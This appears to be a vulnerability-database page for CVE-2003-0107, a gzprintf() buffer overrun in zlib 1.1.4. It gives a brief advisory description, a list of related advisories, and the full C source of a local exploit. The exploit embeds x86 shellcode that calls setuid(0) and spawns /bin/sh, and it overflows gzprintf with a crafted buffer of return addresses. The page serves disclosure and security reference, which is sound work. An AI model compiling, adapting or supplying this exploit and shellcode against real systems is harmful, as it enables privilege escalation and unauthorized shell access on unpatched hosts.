Zlib 1.1.4 - Compression Library 'gzprintf()' Buffer Overrun (2)
| Reporter | Title | Published | Views | Family All 20 |
|---|---|---|---|---|
| Red Hat Linux Data Compromise | 28 Apr 201500:00 | – | bdu_fstec | |
| Red Hat Linux Data Compromise | 28 Apr 201500:00 | – | bdu_fstec | |
| CVE-2003-0107 | 1 Sep 200404:00 | – | cve | |
| CVE-2003-0107 | 1 Sep 200404:00 | – | cvelist | |
| CVE-2003-0107 | 1 Sep 200404:00 | – | debiancve | |
| Zlib 1.1.4 - Compression Library 'gzprintf()' Buffer Overrun (1) | 23 Feb 200300:00 | – | exploitdb | |
| JVN#78689801: BGA32.DLL and QBga32.DLL contain multiple vulnerabilities | 19 May 201500:00 | – | jvn | |
| BGA32.DLL and QBga32.DLL contain multiple vulnerabilities | 19 May 201504:40 | – | jvn | |
| Mandrake Linux Security Advisory : zlib (MDKSA-2003:033) | 31 Jul 200400:00 | – | nessus | |
| RHEL 2.1 : zlib (RHSA-2003:081) | 6 Jul 200400:00 | – | nessus |
10
// source: https://www.securityfocus.com/bid/6913/info
A buffer-overrun vulnerability has been reported in the Zlib compression library. Due to the use of 'vsprintf()' by an internal Zlib function, an attacker can cause memory to become corrupted. This buffer overrun occurs becuase the software fails to check the boundaries of user-supplied data given to the 'gzprintf()' function.
Successful exploitation of this vulnerability may allow an attacker to execute arbitrary instructions.
Note that only Zlib 1.1.4 has been reported vulnerable to this issue. It is not yet known whether earlier versions are also affected.
C local exploit for zlib <= 1.1.4
/ just for fun..not for root :)
\
/ Usage: gcc -o zlib zlib.c -lz
\
/ by CrZ [[email protected]] lbyte
[lbyte.void.ru]
*/
#include <zlib.h>
#include <errno.h>
#include <stdio.h>
int main(int argc, char **argv) {
char shell[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xb0\x2e\xcd\x80\xeb\x15\x5b\x31"
"\xc0\x88\x43\x07\x89\x5b\x08\x89"
"\x43\x0c\x8d\x4b\x08\x31\xd2\xb0"
"\x0b\xcd\x80\xe8\xe6\xff\xff\xff"
"/bin/sh";
gzFile f;
int ret;
long xret;
char cret[10];
char badbuff[10000];
int i;
sprintf(badbuff,"%p",shell);
sscanf(badbuff,"0x%x",&xret);
printf("[>] exploiting...\n");
if(!(f = gzopen("/dev/null", "w"))) {
perror("/dev/null");
exit(1);
}
printf("[>] xret = 0x%x\n",xret);
sprintf(cret,"%c%c%c%c",(xret&0xff)+4,(xret>>8)&0xff,
(xret>>16)&0xff,(xret>>24)&0xff);
bzero(badbuff,sizeof(badbuff));
for(i=0;i<5000;i+=4) strcat(badbuff,cret);
setuid(0);
setgid(0);
ret = gzprintf(stderr, "%s", badbuff );
setuid(0);
setgid(0);
printf(">Sent!..\n");
printf("gzprintf -> %d\n", ret);
ret = gzclose(f);
printf("gzclose -> %d [%d]\n", ret, errno);
exit(0);
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
27 Oct 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.25987